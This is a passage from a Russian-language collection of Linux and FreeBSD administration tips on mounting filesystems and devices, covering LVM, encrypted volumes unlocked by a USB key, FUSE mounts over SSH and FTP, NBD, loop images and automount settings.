    Если после перезагрузки сервера необходимости в подключении данного диска не
    будет, тогда достаточно просто подгрузить модуль ядра
    kldload ext2fs
    
    Для подключения LVM разделов необходимо перекомпилировать ядро с опцией:
    
       option GEOM_LINUX_LVM
    
    либо добавить /boot/loader.conf 
    
       geom_linux_lvm_load="YES"
    
    вручную можно произвести загрузку следующим образом
    
       geom linux_lvm load
    
    посмотреть результат (пример):
    
       # geom linux_lvm list
       Geom name: skdeb5-home.bsd
       Providers:
       1. Name: linux_lvm/skdeb5-home.bsd-swap_1
          Mediasize: 1551892480 (1.4G)
          Sectorsize: 512
          Mode: r0w0e0
       2. Name: linux_lvm/skdeb5-home.bsd-root
          Mediasize: 38205915136 (36G)
          Sectorsize: 512
          Mode: r1w1e1
       Consumers:
       1. Name: ad2s2
          Mediasize: 39761003520 (37G)
          Sectorsize: 512
          Mode: r1w1e2
    
    в /etc/fstab прописать следующим образом:
    
       cat /etc/fstab | grep linux_lvm
    
       /dev/linux_lvm/skdeb5-home.bsd-root /mnt/ad2s2.ext2 ext2fs rw   0       0
    
    PS: Для монтирования LVM-раздела с другой FS, отличной от EXT2/EXT3 необходимо
    перекомпилировать ядро или загрузить соответствующие данной ФС модули ядра.
    
     
    ----* Монтирование Flash-накопителей с FAT в XFCE, работающем во FreeBSD (доп. ссылка 1)   Автор: bu7cher  [комментарии]
     
    Инструкция для тех, кому лень набирать "sudo mount_msdosfs /dev/da0s1 ..." и
    хочется, чтобы при подключении USB Flash на рабочем столе XFCE для монтирования
    автоматически появлялась иконка, корректно работающая с русскими именами файлов
    и не требующая для своей работы повышенных прав доступа.
    
    1. Через PolicyKit настраиваем разрешение на монтирование для пользователя
    homeuser, под котором будет осуществлен вход в систему. В
    /usr/local/etc/PolicyKit/PolicyKit.conf добавляем новую секцию:
    
       <match user="homeuser">
           <match action="org.freedesktop.hal.storage.mount-removable">
               <return result="yes"/>
    
           </match>
           <match action="org.freedesktop.hal.storage.mount-fixed">
               <return result="yes"/>
           </match>
           <match action="org.freedesktop.hal.storage.eject">
               <return result="yes"/>
    
           </match>
           <match action="org.freedesktop.hal.storage.unmount-others">
               <return result="yes"/>
           </match>
       </match>
    
    2. Настраиваем опции монтирования по-умолчанию в файле /usr/local/etc/xdg/xfce4/mount.rc:
    
       [vfat]
       # FreeBSD specific option
       longnames=true
       -L=ru_RU.UTF-8
       -D=CP866
       -m=0664
       -M=0775
       -u=homeuser
    
    Список возможных опций можно посмотреть в выводе lshal после подключения
    флэшки. Искать нужно строку volume.mount.valid_options. В ней содержатся
    разрешённые HAL'ом опции, которые можно передать ему для монтирования. Их же
    можно найти в файле
    /usr/local/share/hal/fdi/policy/10osvendor/20-storage-methods.fdi. По-умолчанию
    для FreeBSD эти опции разрешены и соответствуют перечисленным в мануале mount_msdosfs(8).
    
    В результате при подключении флэшки на рабочем столе появляется иконка диска,
    на которой можно  вызвать команду "Подключить том", либо просто два раза
    кликнуть,  чтобы открыть  Thunar с уже смонтированным носителем. Причём файлы с
    кириллицей в именах будут корректно отображаться,  и пользователь сможет
    записывать и удалять их.
    
     
    ----* Динамическое подключение шифрованных дисковых разделов   Автор: simplexe  [комментарии]
     
    Задача: Обеспечить шифрование централизованного хранилища с хранением ключей
    шифрования на внешнем USB-носителе (воткнул ключ - работает, вытащил - не
    работает). Пакет truecrypt не подошел из-за особенностей его лицензии и
    отсутствия во многих дистрибутивах. Для шифрования было решено использовать
    dm-crypt, из двух фронтэндов cryptsetup и cryptmount был выбран первый.
    
    
    1. Создаем ключ.
    
    Берём обычный Flash-накопитель на базе интерфейса USB, любого размера.
    Форматируем его в vfat и монтируем:
    
       sudo su -
       mkfs.vfat /dev/sdd1
       mkdir /mnt/usbkey
       mount /dev/sdd1 /mnt/usbkey
    
    Теперь, на него нужно скопировать будущий ключ:
    
       dd if=/dev/random of=/mnt/usbkey/public.key bs=1 count=256
    
    Тут думаю все понятно. Теперь, ключ готов и он на флэшке.
    
    
    2. Шифрование тома.
    У меня хранилище на зеркальном программном RAID'е. У вас может быть по-другому, но смысл тот же:
    
       cryptsetup --verbose -c aes-cbc-essiv:sha256 luksFormat /dev/md0 /mnt/usbkey/public.key
    
    Том зашифрован, подключаем его:
    
       cryptsetup --key-file /mnt/usbkey/public.key luksOpen /dev/md0 public
    
    Ну и форматируем:
    
       mkfs.ext3 -j -m 1 -O dir_index,sparse_super /dev/mapper/public
    
    Всё, он готов.
    
    3. Автомонтирование
    
    После чтения документации, консультаций на irc-канале #archlinux-ru  и
    экспериментов, был подготовлен следующий вариант файла конфигурации для udev /etc/udev/rules.d/10-usb-storage.rules:
    
       # если не sd уходим
       KERNEL!="sd[a-z][0-9]", GOTO="end"
       # если переменная существует, то отмонтируем /public
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/bin/umount -l /public"
       # если переменная существует, то закрываем ключ
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/sbin/cryptsetup luksClose public"
       # если переменная существует, то отмонтируем саму флэш
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/bin/umount -l /mnt/%E{dir_name}"
       # если переменная существует, то удаляем каталог
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/bin/rmdir /mnt/%E{dir_name}", GOTO="end"
       # проверяем на предмет монтирования
       ACTION=="add", PROGRAM=="/usr/bin/find /mnt/usbkey", RESULT=="/mnt/usbkey", GOTO="end"
       # ищем именно наши флэшки (просто у меня их две - с запасом, а посмотреть uuid можно /lib/udev/vol_id -u /dev/sdd1)
       # и переходим к монтированию, иначе уходим в конец
       ACTION=="add", PROGRAM=="/lib/udev/vol_id -u %N", RESULT=="4B7E-E254", GOTO="mount"
       ACTION=="add", PROGRAM=="/lib/udev/vol_id -u %N", RESULT=="2C3E-F663", GOTO="mount"
       GOTO="end"
       LABEL="mount"
       # опции монтирования и переменная каталога
       ACTION=="add", ENV{mount_options}="ro,utf8,noexec,nodev,noauto", ENV{dir_name}="usbkey"
       # создаем каталог
       ACTION=="add", RUN+="/bin/mkdir /mnt/%E{dir_name}"
       # монтируем ключ
       ACTION=="add", RUN+="/bin/mount -t vfat -o $env{mount_options} /dev/%k /mnt/%E{dir_name}"
       # открываем наш криптованный том
       ACTION=="add", RUN+="/sbin/cryptsetup --key-file /mnt/usbkey/public.key luksOpen /dev/md0 public"
       # монтируем его
       ACTION=="add", RUN+="/bin/mount /dev/mapper/public /public -t ext3 -o defaults"
       LABEL="end
    
    Отладку конфигурации можно сделать так:
    
       udevcontrol log_priority=9999
    
    И смотреть журнал:
    
       tail -f /var/log/messages
    
    В итоге, получим динамически монтируемые тома на основе usbtoken'ов.
    
     
    ----* Доступ к файлам виртуальных машин VMware ESX из Fedora Linux (доп. ссылка 1)   Автор: Andrey Markelov  [обсудить]
     
    Richard W.M. Jones в своем блоге опубликовал интересный пост
    (http://rwmj.wordpress.com/2010/01/06/examine-vmware-esx-with-libguestfs/) о
    работе при помощи утилит libguestfs с образами VMware ESX4. Немного дополнив,
    напишу, в чем суть.
    
    Во-первых нам понадобятся пакеты fuse-sshfs и guestfish. Первый позволяет
    монтировать при помощи FUSE удаленную файловую систему по SSH FTP, а второй
    установит в систему интерактивную командную оболочку, из которой можно получать
    доступ к образам дисков виртуальных машин, в том числе и vmdk. Естественно, в
    системе должны присутствовать стандартные компоненты виртуализации Fedora, в
    частности, работающий демон libvirtd.
    
    Для начала проверяем, какие присутствуют на хосте ESX виртуальные машины:
    
       $ virsh -c esx://192.168.1.12?no_verify=1 list --all
       Enter username for 192.168.1.12 [root]:
       Enter root password for 192.168.1.12:
       ID Имя Статус
       ----------------------------------
       208 www выполнение
       224 mail выполнение
       - 2RHEL5_DS отключить
       - 2W2003_DC отключить
       - RHEL5_IPA отключить
       - RHEL5_Satellite53 отключить
       - RHEL5_Server1 отключить
       - RHEL5_Station отключить
       - RHEL5_Station2 отключить
       - RHEL5_Zimbra отключить
    
    Далее смонтируем через FUSE соответствующую директорию файловой системы vmfs:
    
       $ mkdir esx
       $ sshfs root@192.168.1.12:/vmfs/volumes esx
       root@192.168.1.12's password:
       $ cd esx/
       $ ls
       4ac343f6-500e2828-d805-0022640793d2 LocalStorage1
    
    Естественно, мы ничего нового по сравнению с тем, что нам покажет vCenter
    client, не увидели. Далее переходим в директорию с нужной нам виртуальной машиной:
    
       $ cd LocalStorage1/RHEL5_IPA/
       $ ls
       RHEL5_IPA-flat.vmdk RHEL5_IPA.vmdk RHEL5_IPA.vmx vmware.log
       RHEL5_IPA.nvram RHEL5_IPA.vmsd RHEL5_IPA.vmxf
    
    При помощи новой утилиты virt-list-filesystems (в версии libguestfs репозитория
    Fedora 12 пока ее нет, зато есть в Rawhide) смотрим какие разделы доступны
    внутри образа:
    
       $ virt-list-filesystems -al RHEL5_IPA-flat.vmdk
       /dev/sda1 ext3
       /dev/vol0/home ext3
       /dev/vol0/root ext3
       /dev/sda3 swap
    
    И, наконец, запускаем интерактивную командную оболочку:
    
       $ guestfish --ro -a RHEL5_IPA-flat.vmdk -m /dev/vol0/root
    
       Welcome to guestfish, the libguestfs filesystem interactive shell for
       editing virtual machine filesystems.
    
       Type: 'help' for help with commands
       'quit' to quit the shell
    
       > ll /
       total 192
       drwxr-xr-x. 22 root root 4096 Oct 24 07:47 .
       dr-xr-xr-x 29 root root 0 Jan 8 12:59 ..
       drwxr-xr-x. 2 root root 4096 Oct 7 15:07 bin
       drwxr-xr-x. 2 root root 4096 Oct 7 13:45 boot
       drwxr-xr-x. 4 root root 4096 Oct 7 13:45 dev
       drwxr-xr-x. 93 root root 12288 Oct 24 07:47 etc
       drwxr-xr-x. 2 root root 4096 Oct 7 13:45 home
       ....
    
    Ну, а дальше man guestfish и help для списка команд оболочки. Для виртуальных
    машин с включенным SELinux крайне желательно использовать ключ --selinux, иначе
    при попытке записи файлов вы можете создать при монтировании образа r/w файлы
    без меток SELinux.
    
     
    ----* Монтирование iPhone и iPod Touch в Ubuntu (доп. ссылка 1)   [комментарии]
     
    Для работы с файлами на iPhone и iPod удобно использовать пакет iFuse
    (http://matt.colyer.name/projects/iphone-linux/), базирующийся на libiphone  и
    позволяющий монтировать содержимое устройств в виде файловой системы.
    
    Для установки iFuse из PPA репозитория в /etc/apt/sources.list добавим строчки
    
       deb http://ppa.launchpad.net/jonabeck/ppa/ubuntu jaunty main
       deb-src http://ppa.launchpad.net/jonabeck/ppa/ubuntu jaunty main
    
    "jaunty" следует заменить на имя текущей версии Ubuntu: "jaunty" - 9.04,
    "karmic" - 9.10,  "hardy" - 8.04 LTS.
    
    Импортируем ключ для PPA репозитория и устанавливаем пакет iFuse:
    
       sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com F0876AC9
       sudo apt-get update
       sudo apt-get install ifuse and hit enter
    
    Все ! Теперь достаточно подключить iPhone или iPod Touch и увидеть в любом
    файловом менеджере содержимое устройства как это происходит для обычных USB Flash.
    
     
    ----* Монтирование ftp и ssh в локальную директорию   [комментарии]
     
    Дл монтирования будем использовать FUSE модули curlftpfs (http://curlftpfs.sourceforge.net/) 
    и sshfs (http://fuse.sourceforge.net/sshfs.html).
    curlftpfs хорош тем, что поддерживает шифрование (SSLv3/TLSv1), может работать поверх HTTP-прокси 
    и автоматически обрабатывает ситуации разрыва соединения. Sshfs интересен
    возможностью кэширования содержимого директорий.
    
    Для работы с FUSE от имени локального пользователя нужно добавить его в группу fuse:
    
       sudo addgroup логин fuse
    
    Настраиваем права доступа к директории в которую будем производить монтирование:
    
       chgrp fuse /home/user/mnt
       chmod g+w /home/user/mnt
    
    Ставим curlftpfs и sshfs:
    
       aptitude install fuse-utils curlftpfs sshfs
    или для RedHat подобных дистрибутивов:
       yum install fuse-utils curlftpfs sshfs
    
    монтирование FTP директории производится командой:
    
       curlftpfs ftp://ftp.test.ru /home/user/mnt
    или если используется пароль:
       curlftpfs ftp://логин:пароль@ftp.test.ru /home/user/mnt
    
    Кодировку можно задать через 
    
       curlftpfs -o codepage=koi8-r,iocharset=utf8 ftp://ftp.test.ru /home/user/mnt
    
    где koi8-r кодировка на ftp-сервере, utf8 - кодировка локальной системы.
    Выход через http-прокси можно организовать через опцию "-o proxy=host:port"
    
    Автоматизировать ввод пароля можно через стандартный ~/.netrc файл (man netrc):
    
        machine ftp.test.ru
        login логин  
        password пароль
    
    
    Для монтирования SSH 
    
       sshfs test@test.ru:/home/test /home/user/mnt
    
    Отмонтирование:
    
       fusermount -u /home/user/mnt
    
     
    ----* Монтирование по UFS идентификаторам через GEOM_LABEL во FreeBSD 7.2 (доп. ссылка 1)   [комментарии]
     
    Во FreeBSD 7.2 без лишнего шума была добавлена возможность монтирования UFS
    разделов по уникальным идентификаторам UFS ID.
    
    В /boot/loader.conf добавляем "geom_label_load=YES"
    Перезагружаемся или загружаем модуль ядра: 
    
       kldload geom_label
    
    В логе можно увидеть:
    
       GEOM_LABEL: Label for provider da0s1a is ufsid/49d629fac5da1db9
    
    Чтобы не зависеть от порядкового номера устройства da0, который может
    поменяться, например, при смене контроллера,
    использовании USB-накопителя, добавлении или удалении дисков, можно монтировать
    устройство /dev/da0s1a
    как /dev/ufsid/49d629fac5da1db9.
    
    Пример fstab:
    
       /dev/ufsid/49d629fac5da1db9 / ufs rw  1  1
    
    Кроме UFS ID, раздел можно монтировать и по назначенным вручную строковым меткам.
    Ставим метку при форматировании "newfs -L имя" или через "tunefs -L имя", а
    потом монтируем "/dev/ufs/имя"
    
     
    ----* Особенности монтирования ext2, ext3 и reiserfs разделов во FreeBSD   [комментарии]
     
    ReiserFS:
    
       kldload reiserfs
       mount -t reiserfs /dev/ad1s1 /mnt
    
    Ext2/Ext3:
    
       kldload ext2fs
       mount -t ext2fs /dev/ad1s1 /mnt
    
    Монтирование возможно только для корректно отмонтированных разделов, 
    если отмонтирование было некорректным 
    и раздел нуждается в проверке fsck, то будет выдана ошибка с неоднозначным текстом,
    например "Bad file descriptor".
    Проверить раздел во FreeBSD можно при помощи порта /usr/ports/sysutils/fsck_ext2fs
    
     
    ----* Создание виртуального CD/DVD накопителя в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Устанавливаем CDemu (http://cdemu.sourceforge.net/)
    
    Подключаем дополнительные репозитории, в /etc/apt/sources.list прописываем:
    для Ubuntu 8.04
       deb http://ppa.launchpad.net/cdemu/ubuntu hardy main
    для Ubuntu 8.10 
       deb http://ppa.launchpad.net/cdemu/ubuntu intrepid main
    
    Для других дистрибутивов готовые пакеты можно загрузить с сайта http://sourceforge.net/projects/cdemu/
    
    Устанавливаем:
    
       sudo apt-get update
       sudo apt-get install cdemu-daemon cdemu-client
    
    Запускаем сервис (подгружается модуль ядра cdemu и запускается демон cdemud):
    
       sudo /etc/init.d/cdemu-daemon start
    
    Добавляем виртульный CD-ROM с номером 0 на основе образа file.iso:
    
       cdemu load 0 file.iso
    
    После добавления виртуальный CD-ROM доступен как устройство /dev/cdemu/0 
    Примонтируем его (для примера работы с устройством, в простейших случаях проще монтировать файл 
    напрямую через "-o loop", создание виртуального CDROM полезно в ситуациях когда локально 
    смонтировать невозможно: хитрые форматы, защищенные DVD, звуковые дорожки и т.п.):
    
       mount -t iso9660 /dev/cdemu/0 /mnt/cdrom
    
    
    Смотрим какие виртуальные CD-ROM подключены:
    
       cdemu -s или cdemu status
    
       Drive Loaded Comment
       0:     1   file.iso
    
    Отключаем созданное устройство:
    
       cdemu unload 0
    
    
    Начинающие пользователи могут обойтись и без манипуляций в командной строке.
    
    Устанавливаем GNOME виджет gCDemu:
       sudo apt-get install gcdemu
    
    Перезагружаем пользовательский сеанс в GNOME или выполняем 
    
       cdemud-daemon.session
    
    Добавляем виджет gCDemu на панель и через GUI интерфейс привязываем iso образ к
    виртуальному устройству.
    
     
    ----* Как разрешить доступ к точке монтирования для приложения контролируемого SELinux (доп. ссылка 1)   [обсудить]
     
    Имеется CentOS с активным  SELinux. 
    Требуется обеспечить возможность доступа Apache к примонтированному локально iso-образу, USB Flash 
    или диску, содержащему файловую систему без поддержки SELinux.
    
    Решение: при монтировании необходимо явно определить политику доступа через опцию "context=".
    По умолчанию используется "context=system_u:object_r:removable_t".
    Для apache нужно монтировать так:
    
       mount -o loop,context=system_u:object_r:httpd_sys_content_t /path/to/image.iso /var/www/html
    
     
    ----* Как отключить автомонтирование Flash в Linux (доп. ссылка 1)   Автор: Dima L  [комментарии]
     
    Для отключения:
    
       sudo sh -c 'echo ATTRS{removable}=="1", SUBSYSTEMS=="block", NAME="" > /etc/udev/rules.d/99-block-storage.rules'
    
    
    Для включения:
    
       sudo rm /etc/udev/rules.d/99-block-storage.rules
    
    Или закоментировать содержимое этого файла.
    
    Разумеется все от root. Перезагружаться, или что-то перезапусткать не нужно.
    
    Выглядит наше правило:
       ATTRS{removable}=="1", SUBSYSTEMS=="block", NAME=""
    
    ATTRS{removable}=="1"
    Нужны только отключаемые устройства (что бы жесткий диск случайно не отключить).
    
    SUBSYSTEMS=="block"
    Нас интересуют устройства хранения данных. (Я пробовал другие подсистемы и драйверы, 
    но в этом случае отдельные партиции все равно подключались).
    
    NAME=""
    Собственно действие. Не создавать файл устройства.
    
    
    Дополнение от посетителя Undir:
    
    В Fedora начиная с 8 версии запрещать и раздавать права можно через PolicyKit:
    
    1. Запрещаем монтирование/размонтирование всем кроме рута:
    В файле /usr/share/PolicyKit/policy/hal-storage.policy
    ищем секцию: <action id="org.freedesktop.hal.storage.mount-removable">
    заменяем <allow_active>yes</allow_active>
    на <allow_active>no</allow_active>
    Перезапуск не требуется.
    Если пользователь вставляет флешку, то происходит запрос пароля рута.
    
    2. Разрешаем (если нужно) некоторым пользователям монтирование:
    /etc/PolicyKit/PolicyKit.conf
    меняем:
    
       <config version="0.1">
       </config>
    
    на:
    
       <config version="0.1">
          <match action="org.freedesktop.hal.storage.mount-removable">
             <match user="user1|user2|user3">
               <return result="yes"/>
             </match>
         </match>
       </config>
    
     
    ----* Выключение sync для внешних накопителей в Debian GNU/Linux   Автор: Karbofos  [комментарии]
     
    Ситуация: после подключения USB-стика при копировании на него информации в особо крупных размерах 
    наблюдается скорость около 10-200 килобайт/сек., что есть не очень хорошо, даже просто ужасно.
    
    Кто виноват?
    Виноват HAL. Внешние накопители (USB-флешки) он монтирует в режиме синхронной записи данных. 
    
    Что делать?
    Нужно изменить настройку одного из файлов конфигурации HAL:
       /etc/hal/fdi/policy/preferences.fdi
    
    отредактируем его, изначально было так (обычно в этот файл мало что вносится):
    
    
     <?xml version="1.0" encoding="UTF-8"?> <!-- -*- SGML -*- -->
     <deviceinfo version="0.2">
     <!--
      <device>
        <match key="storage.hotpluggable" bool="false">
          <match key="storage.removable" bool="false">
            <merge key="storage.automount_enabled_hint" type="bool">false</merge>
          </match>
        </match>
      </device>
     -->
    
    
    
    как видно, всё закомментировано, никаких настроек нет. а сделаем так:
    
     <?xml version="1.0" encoding="UTF-8"?> <!-- -*- SGML -*- -->
     <deviceinfo version="0.2">
      <device>   
        <!-- disable sync for mount -->   
        <match key="block.is_volume" bool="true">   
          <match key="volume.fsusage" string="filesystem">   
            <match key="@info.parent:storage.bus" string="usb"> 
              <merge key="volume.policy.mount_option.sync" type="bool">false</merge>   
            </match>   
          </match>   
        </match>   
      </device> 
     </deviceinfo>
    
    
    
    Вытаскиваем железки и перезапустим HAL, с привилегиями суперпользователя выполним:
      /etc/init.d/hal restart
    
    
    Подключаем железку, получаем, к примеру, на моём стике разность в скорости
    возросла с 120-200kB/s до 2.4-12 MB/s.
    Зависит от характеристик самой флешки.
    
    Настройки опций монтирования также могут быть найдены внутри директории /usr/share/hal/fdi/
    
    Опции с отключением синхронизации требуют обязательного отмонтирования накопителя!
    
     
    ----* Передача блочных устройств на другую машину, при помощи NBD в Linux (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Возможность работы с блочным устройством другой машины по сети может быть оправдана 
    при наличии на второй машине новой версии fsck, поддержки файловой системы 
    (например, тестирование нового драйвера FS, или экспорт на другую программную платформу, 
    диск можно подключить к Windows машине и примонтировать на компьютере с Linux) или 
    специализированного устройства (например, raid-контроллера), отсутствующих 
    на первой машине. NBD также можно использовать в целях упрощения ограничения 
    интенсивности операций ввода/вывода (клиент и сервер одна машина, регулировка 
    через iptables), хранилище можно примонтировать на нескольких машинах в read-only 
    режиме и использовать unionfs для сохранения изменений на локальный диск.
    
    Загружаем исходные тексты NBD с сайта http://nbd.sourceforge.net/
    или устанавливаем пакеты в Debian/Ubuntu (nbd-server на сервере, nbd-client на клиенте):
    
       apt-get install nbd-server
       apt-get install nbd-client
    
    Экспортируем устройство /dev/sdb1 на сервере:
    
       nbd-server 2000 /dev/sdb1
       или nbd-server 192.168.1.1:2000 /dev/sdb1 -r -l /etc/nbd.allow
    
    где, 2000 - номер порта для приема соединений от клиента, 
    для привязки к IP можно использовать "192.168.1.1:2000"
    Для экспорта в режиме только для чтения нужно указать опцию "-r"
    Таймаут можно задать через опцию "-a"
    Через опцию "-l" можно указать файл со списком IP, которым разрешен доступ.
    Через опцию "-c" можно организовать доступ в режиме фиктивной записи, когда все изменения 
    не будут записываться в экспортируемое устройство, а будут отражаться во временном файле, 
    доступном только для данной сессии.
    
    Вместо устройства можно экспортировать содержимое файла:
    
       dd if=/dev/zero of=/tmp/test.img count=256 bs=1024k
       mkfs.ext3 /tmp/test.img
       nbd-server 2000 /tmp/test.img
    
    На стороне клиента выполняем:
    
       modprobe nbd
       nbd-client IP_сервера 2000 /dev/nbd0
    
    Устройство /dev/sdb1 сервера будет доступно через /dev/nbd0 на стороне клиента.
    
    Монтируем файловую систему на стороне клиента:
    
       mount /dev/nbd0 /mnt
    
     
    ----* Как примонтировать в Linux раздел с образа диска, записанного в файл   [комментарии]
     
    Имеем полный образ USB Flash, полученный после 
    
       dd if=/dev/sdb of=usb.img
    
    Перед монтированием, необходимо выяснить смещение относительно начала образа:
    
       fdisk usb.img
       Command (m for help): p
    
       Disk usb.img: 0 MB, 0 bytes
       63 heads, 62 sectors/track, 0 cylinders
       Units = cylinders of 3906 * 512 = 1999872 bytes
       Disk identifier: 0x00000000
    
       Device Boot      Start         End      Blocks   Id  System
       usb.img1               1         701     1369022    6  FAT16
    
    Смещение будет = число секторов на дорожке * размер сектора * начальная дорожка раздела
    Итого: 62 * 512 * 1 = 31744
    
    Монтируем в директорию ./0
    
       mount -o loop,offset=31744 usb.img ./0
    
    Добавлено из комментариев:
    
       [root@host /]# kpartx -av `losetup -sf /tmp/sdb.img`
       add map loop2p1 : 0 401562 linear /dev/loop2 63
       add map loop2p2 : 0 7984305 linear /dev/loop2 401625
       [root@host /]# mount /dev/mapper/loop2p2 ./0
    
    Стоит отметить что данный способ гораздо проще в использовании, но требует
    поддержки ядром loopback, devicemapper и наличия kpartx.
    Но зато не надо ничего вычислять в уме.
    
     
    ----* Как смонтировать UFS раздел Solaris 10 или OpenSolaris x86 в Linux (доп. ссылка 1)   Автор: перевод pavlinux  [комментарии]
     
    Вы можете использовать обычную команду mount для монтирования раздела. mount
    автоматически не определяет тип файловой системы UFS.
    Вы должны указать тип UFS используя опции команды mount:
    
    * old: Старый формат UFS, по умолчанию, только чтение. (Не забудьте указать опцию -r .)
    * 44bsd:  Для файловых систем созданных на BSD-подобных системах как NetBSD, FreeBSD и OpenBSD
    * sun: Для файловых систем созданных на SunOS или Solaris для процессора Sparc.
    * sunx86: Для файловых систем созданных на Solaris для процессоров x86.
    * hp: Для файловых систем созданных на HP-UX, только чтение.
    * nextstep: Для файловых систем созданных на NeXTStep (только чтение).
    * nextstep-cd: Для файловых систем созданных на NextStep компакт-дисках 
       ( размер блока - block_size == 2048)
    * openstep: Для файловых систем созданных на только чтение. OpenStep (пока только чтение). 
       Такой же тип файловой системы используется в Mac OS X.
    
    
    Внимание! Примеры могут потребовать перекомпиляции ядра Linux для поддержки файловой системы UFS. 
    
       По умолчанию поддержка файловой системы UFS не включена.
       Вы должны скомпилировать ядро с поддержкой для файловой системы UFS. 
       (см. CONFIG_UFS_FS=m и CONFIG_UFS_FS_WRITE=y параметры).
    
    Первое, создайте директорию монтирования.
    
       # mkdir /mnt/solaris
    
    Теперь, используя команду mount, на подобии: 
    
       # mount -t ufs -o ro,ufstype=sunx86 /dev/sdXY /mnt/solaris
       # mount -t ufs -o ro,ufstype=sunx86 /dev/sdb1 /mnt/solaris
    
    Так будет примонтирован первый раздел /dev/sda1 
    
    Для дополнительной информации читайте руководство к команде mount:
    
       $ man mount
    
     
    ----* Монтирование директории пользователя при его входе в Linux систему (доп. ссылка 1)   [комментарии]
     
    Имеем: неизменную базовую /home директорию.
    Хотим: отдельно держать изменения внесенные пользователями, чтобы они не влияли на базовую /home.
                изменения держать в рамдиске, так чтобы они не сохранялись при следующем входе
    Решение: 
      - unionfs - для отделения данных пользователя от read-only основы.
      - tmpfs - для создания /tmp директории с временными файлами, хранимой в ОЗУ.
      - pam-mount (http://pam-mount.sourceforge.net/) - PAM модуль для автоматического 
      монтирования разделов в момент входа пользователя в систему.
    
    Устанавливаем пакеты (пример для Debian  и Ubuntu):
       apt-get install unionfs-modules-`uname -r`
       apt-get install libpam-mount 
    
    Настраиваем pam_mount (/etc/security/pam_mount.conf)
    
       volume debiosk tmpfs - tmpfs /tmp/tmpfs "size=15M,uid=debiosk,gid=debiosk,mode=0700" - - 
       volume debiosk unionfs - unionfs /home/debiosk "dirs=/tmp/tmpfs:/home/debiosk=ro" - - 
    
    
    где
     "volume" - ключевое слово, сигнализирующее об описании раздела;
     "debiosk" - имя пользователя, для которого определены правила монтирования;
      "tmpfs" - тип файловой системы;
      " - " - сигнализирует о неиспользовании монтирования с удаленного сервера;
      "/tmp/tmpfs" - точка монтирования;
      "size=15M,uid=debiosk,gid=debiosk,mode=0700" - параметры монтирования tmpfs:
              "size=15m," - размер;
              "uid=debiosk,gid=debiosk,"  - владелец;
              "mode=0700" - права доступа;
       "dirs=/tmp/tmpfs:/home/debiosk=ro" - параметры монтирования unionfs: 
               указывают отобразить изменения /home/debiosk в директории /tmp/tmpfs
    
    
    Добавляем строку "@include common-pammount" в /etc/pam.d/login, /etc/pam.d/su и /etc/pam.d/xdm 
    
    Теперь пользователь debiosk каждый раз будет получать исходную домашнюю директорию,
    а изменения будут действовать только в пределах сессии.
    
     
    ----* Монтирование дискового раздела по UUID в Linux (доп. ссылка 1)   [комментарии]
     
    Получаем уникальный идентификатор устройства:
       # blkid /dev/hda6
       /dev/hda6: UUID="3e6be9de-8139-11d1-9106-a43f08d823a6" TYPE="ext2"
    
    В качестве устройства монитрования в /etc/fstab указываем:
       UUID=3e6be9de-8139-11d1-9106-a43f08d823a6
    
    
    Также для монитрования без привязки к блочному устрйству можно использовать метки:
    Ставим метку:
       e2label /dev/hda6 BACKUPDISK
    
    В /etc/fstab указываем:
       LABEL=BACKUPDISK
    
    Посмотреть метку для заданного устройства можно командой:
       blkid -s LABEL /dev/hda6
    
     
    ----* Уменьшение размера стандартного LiveCD Fedora 7 (доп. ссылка 1)   [комментарии]
     
    Задача ужать стандартный GNOME-LiveCD Fedora7 до 400 Мб. 
    Ниже журнал действий.
    
    1. Извлекаем из iso образа LiveCD squashfs.img.
    
       mount -o loop ./Fedora-7-Live-i686.iso /mnt/cdrom
       копируем все в отдельную директорию директорию /mnt/disk/LiveCD/newcd
       umount /mnt/cdrom
    
    
    2. Монтируем squashfs.img и извлекаем из него os.img
    
       mount -o loop -t squashfs /mnt/disk/LiveCD/newcd/squashfs.img /mnt/cdrom
       копируем содержимое в /mnt/disk/LiveCD/new_ext3
       umount /mnt/cdrom
    
    
    3. Монтируем ext3 образ /mnt/disk/LiveCD/new_ext3/os.img
    
       mount -o loop /mnt/disk/LiveCD/new_ext3/os.img /mnt/disk/LiveCD/new_ext3/sysroot
    
    
    4. Удаляем лишнее и устанавливаем недостающее.
    
       chroot /mnt/disk/LiveCD/new_ext3/sysroot /bin/sh
       su -
       mount /proc
       mount /sys
       rm -rf /usr/share/doc
       в /usr/share/locale/ - оставляем только русские и английские локали
       cd /usr/share/icons; rm -rf Bluecurve gnome
       В /usr/share/pixmaps заменяем недостающее, чистим pixmaps/backgrounds/
       копируем свою фоновую картинку   
         cp  background.jpg /usr/share/gdm/themes/FedoraFlyingHigh
         cp  background.jpg /usr/share/backgrounds/images/default.jpg
        Чистим /usr/share/backgrounds
       Удаляем пакеты с китайскими шрифтами:
       rpm -e fonts-chinese fonts-arabic fonts-korean fonts-japanese
       Если rpm ругается, делаем "rpm --rebuilddb"
       Если нужно создать какие-то директории или произвести действия в момент старта livecd 
          правим fedora-live в /etc/rc.d/init.d
       Ставим желаемые пакеты, например, конфигуратор PPTP:
        rpm -Uvh http://pptpclient.sourceforge.net/yum/stable/fc7/pptp-release-current.noarch.rpm
        yum --enablerepo=pptp-stable install pptpconfig
       ....
       umount /proc
       umount /sys
    
    
    5. После приведения os.img в нужный вид, создаем новый пустой os.img и 
    копируем содержимое старого (нужно забить образ нулями, чтобы он лучше сжался, 
    иначе изменения будут только в метаданных и итоговый образ squashfs после
    сжатия получиться больше чем начальный).
    
       cd mnt/disk/LiveCD/new_ext3
       dd if=/dev/zero of=new_os.img bs=1k count=4096k
       /sbin/mkfs.ext3 -F -L "LiveCD" -m 1 new_os.img
       /sbin/tune2fs -c0 -i0 -Odir_index -ouser_xattr,acl new_os.img
    
       Монтируем новый образ
       mkdir /mnt/disk/LiveCD/new_ext3/new_sysroot
       mount -o loop ./new_os.img /mnt/disk/LiveCD/new_ext3/new_sysroot
    
       Копируем содержимое старого через rsync, чтобы сохранить расширенные атрибуты файлов.
       rsync -a -v --acls --xattrs --hard-links /mnt/disk/LiveCD/new_ext3/sysroot /mnt/disk/LiveCD/new_ext3/new_sysroot
    
       незабываем размонтировать и переименовать новый образ
